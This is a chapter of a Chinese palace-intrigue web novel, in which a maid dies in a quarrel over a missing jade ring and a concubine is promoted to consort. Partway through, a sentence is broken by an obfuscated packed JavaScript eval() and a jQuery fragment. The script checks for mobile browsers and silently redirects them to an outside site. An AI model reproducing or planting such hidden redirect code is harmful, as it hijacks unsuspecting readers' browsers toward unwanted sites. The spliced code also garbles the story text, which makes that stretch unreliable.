自那日容潇潇强闯承乾宫,一回宫后便派人暗地里笼络连翘,一连赏了她许多精巧的络子和首饰,摆明了是要收买她为己用。
这段日子容潇潇虽也将她召过去三四回,可也只是日常嘘寒问暖,并未让她做过什么,这反倒让连翘心中升起一阵惶恐不安。
越是想越是心虚,连翘挺了挺身,面上装出一副云淡风轻的模样,直直往延禧宫那边走去。
延禧宫与承乾宫离得不远,她觉得怎么也走不到尽头,穿过一条长长的宫道,连翘便看见早等在宫门口的春乔。
春乔唇角弯起,似乎想做个笑脸,可她的眉眼处处透着寒意,本是个十七八的女儿家,却与久在深宫的老嬷嬷一副做派,即便是白日里也让人瘆得慌。
“你可算来了,娘娘正等着你呢。”她斜睨了眼扭捏着的连翘,不咸不淡地扔了句话。
一进主殿,脂粉香气混着馥郁花香扑面而来,熏得她头晕,即便已经来过几次,却还是没能习惯。
珠帘之下,一个美人慵懒地伏在罗汉床上,手中的碧玉滚轮滚在白皙的脸上,带动着皓腕间的珠串,发出哗啦哗啦的响声。
容潇潇掀了掀眼皮,慢悠悠道:“是连翘啊,坐吧。”
言罢,春乔随即递来张椅子,示意连翘坐下。
以往她来延禧宫时,与其他宫女一般站着回话,坐下来还真是头一遭。
她不敢不从,颤抖着坐在椅子上,“娘娘今日唤我来,是有何事?”
此时春乔又递上一盏茶,她喝也不是,不喝也不是。
容潇潇挑了挑眉,浅浅笑道:“不急,先喝口茶。”
见状,连翘也不敢推辞,左右不过是一盏茶,喝便喝了。
她一仰头,将杯中茶水尽数喝下,用衣袖擦了擦嘴角。
“不过是一桩小事,原是我先前赏你的一支金镶翠挑簪,春乔这丫头给拿错了,多拿了个镶玉的扳指,这会子让你带了还回来。”
她与座上的容潇潇不过三尺,却觉得眼前像蒙了层薄纱似的,怎么也看不真切,后知后觉道:“那……那奴婢这就,这就回宫去拿。”
说起这支簪子,雕工精妙,华彩斐然,她虽喜欢得紧,可却不敢常戴,恐引来不必要的是非,因此她一直将它压在妆匣里。
说起来,她似乎也许久未见到这支簪子了,更别说那个不起眼的扳指,早被她扔到九霄云外了。
连翘正低头思索着,抬眼便撞见容潇潇的目光,那眼神盈满笑意却透不出一丝温和,再一转头,一旁的春乔也用一样的目光盯着她,主仆俩一个赛一个的笑面虎。
“那个扳指可是大将军的,虽不是什么贵重东西,却是给娘娘的念想。”春乔补上一句。
话里话外都是在提点她,这枚扳指对容潇潇有多重要,若是自己找不回来,决计是不会好过了。
回承乾宫的路上,连翘心下一阵发慌,脸色煞白一片,脑子里满是容潇潇怒目横眉,要治罪于她的样子。
顿时,一股惧怕从她心底深处冒出来,失了魂般晃荡着回了宫里。
这一幕正巧被扫灰的微萍瞧见了,唯唯诺诺地上前问道:“连翘姐姐,你这是怎么了……”
连翘狠狠将她推倒在地,如同断了线的纸鸢,整个人跌跌撞撞地扑向下房里。
给花圃浇完水的解玉正巧在换湿了的衣裳,被连翘突如其来的闯入吓了一跳,边扣扣子边骂道:“你个死丫头!没看到我在换衣服呢,动作轻些!”
连翘对她的叫骂充耳不闻,直奔向自己的妆匣,顾不上轻拿轻放,一股脑儿地将东西都倒在桌上,发出劈里啪啦的嘈杂声。
没有。
她接着将其他人的妆匣也倒在一处,一样一样地找起来。
还是没有。
“不可能啊……怎么会啊……明明就是有的呀!”
连翘发了狠似的哭叫起来,整个人失智般跌坐在地上。
“你要死啊!大白天的发什么疯?”解玉上前一把揪住她的衣领,勒住了她的脖颈。
“是你!是你偷了我的东西!”连翘如抓住了救命稻草般,指节伸向了解玉的脖子,发狂地挣脱开解玉的手,重重地将解玉压在地上,逼得身下人难以呼吸,双眼猩红。
“疯子!放开我!我……才没偷!”解玉一下重似一下地捶打着她,艰难地吐出几个字。
思及此,连翘手上的力度又重了几分,冷眼看着身下的解玉痛苦挣扎的样子。
只要自己咬死了是解玉偷了自己的东西,那在容潇潇处也有个交代,否则……
否则自己必死无疑。
正当她晃神之际,解玉猛地弓身坐起,也不知怎得来了力气,将连翘一举推倒。
哐隆一声闷响,她喘着粗气狠命咳着,方抬眼,便蓦地被惊到在地。
方才还状若癫狂,上蹿下跳的连翘此刻倒在了地下,一动不动,了无生气。
解玉正想上前察看,下房的门却被人推开,门框震响,是外头的微萍进来。
微萍见着这一幕,也不觉呆了,她畏畏缩缩地上前,走到倒下的连翘旁,手指颤抖着探了探鼻息。
“解玉姐姐……”听见微萍带了哭腔,解玉也明了她的意思。
她颤颤巍巍地走过去,手往连翘的后脑处一探,手心上粘腻而腥红的血告诉她,连翘死在她的手上!
……
李敬受今日早早约了韩昭苏出门,两人一道在御花园的浮碧亭上坐着。
两人命太监们搬来张书案,一面读书写字,一面低声交谈,时不时抬头看看亭外风景。
鸟兽草木,蓝匾金字,红柱绿瓦,远处绿荫迎风而展,发出簌簌的声响,一时间竟生出些万籁俱寂,只缘身在此山中的渺茫。
草纸上笔走龙蛇,墨迹渗到底下去,颇有入木三分的意味。
韩昭苏提笔一勾,落下最后一句,而后搁下笔细细端详着。
她原先也是不爱做这些事的,识字练字绣花总沉不下心,没料想抄录完一卷佛经,将她浮躁的性子磋磨下去大半。
后来竟也喜欢上了习字,或许这是她惟一能拚弃纷扰的片刻。
从前宫外时她总看不惯裴归鸿置身事外的样子,如今却也明白了他。
一旁的李敬受悄悄走近她,伸手将被风吹得皱起的纸抚平,问道:“这句诗是什么意思呀?”
韩昭苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381128|200183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻叹了口气,才道:“胡乱写的,哪里有什么意思。”
她将案上那张纸揭来,揉成一团扔在一边。
李敬受知道她只是不想说,也便没追着问下去,转而咧着嘴露出淡淡的笑。
“你上次送我的东西,可帮了我大忙。昨夜皇上召幸了我,我那时刚巧歇息,就被我宫里的姑姑叫醒了……”
见韩昭苏仍是一副凝重表情,她一时无措,挽起她的手道:“我……我不是炫耀的意思,我只是想……想谢谢你。”
李敬受从前在南凉时做公主,一贯是被她的父王和哥哥们宠爱的,因此也学了柔情小意,撒娇卖乖的本领。
她身量娇小,微微伏在韩昭苏肩头,却有几分可爱依人的样子。
“其实我不喜欢皇上的,他看起来文文弱弱的,恐怕我们草原上一阵风都能给他吹倒。”李敬受自顾自说着,“我本是想平平淡淡度日,只可惜……争宠就像是每个妃嫔的宿命。”
她伸手企图遮住眼前晃眼的太阳,可总有稀稀疏疏的光从指缝溜进来,刺得她睁不开眼。
“我得宠,我的父王,我南凉的子民,也能好过一点。”
韩昭苏心中惊诧一瞬,偏头看着肩上的她,她眉宇间能见得几分稚气,容颜青涩,可说出的话却已经不拘于自己的心意。
她想的远比自己深远,不仅是为自己,更是为了自己所爱,所在乎的人。
“你知道么?其实我是个很胆小的人。”
韩昭苏闻言一笑,想起了那日长街,她递伞时那副怯弱的样子。
“我这一得宠,不单是容贵嫔,肯定还有许多人虎视眈眈,可是我不能退。”
李敬受眼眶一热,声音渐渐小了,“我想回草原上,自由自在地骑马,那里才是我的家。”
家?
哪里才是她韩昭苏的家呢?
正当两人静静靠在一起时,远处的太监们悠悠走到亭子前,为首的那个正是周平。
周平清了清嗓子,怀中捧着一卷明黄圣旨,两人顿时惊起,盈盈下拜。
“奉天承运皇帝诏曰,昭仪李氏,柔佳淑顺,晋封为正二品妃,赐号婉,钦此。”
待周平宣读完圣旨,起身将跪着的李敬受扶起,喜笑颜开道:“婉妃娘娘,接旨吧。”
韩昭苏心下茫然,却见到李敬受欢欢喜喜接过圣旨,也不好扰了她,只微微笑着。
此时周平转过头来对她笑了笑,“韩婕妤也在。”
她点头致意,“辛苦周公公远跑一趟。”
她知道自己这时候该笑,可怎么也笑不出了。
明明是自己说过的话,现下却一遍又一遍地滚在心头,让她不敢认。
她那边是鲜花着锦,自己这边却是烈火烹油。
是啊,她既然还在这里,终身都逃不出他的阴影。
“婕妤,不好了,不好了!”
被这声呼叫从沉思中捞回,来人直直扑跪在她脚边,正是微萍。
“解玉姐姐被司礼监的人带走了!”
韩昭苏顿时天旋地转,勉强稳住心神,问道:“怎么会?”
微萍哭泣着声道:“解玉姐姐杀了连翘。”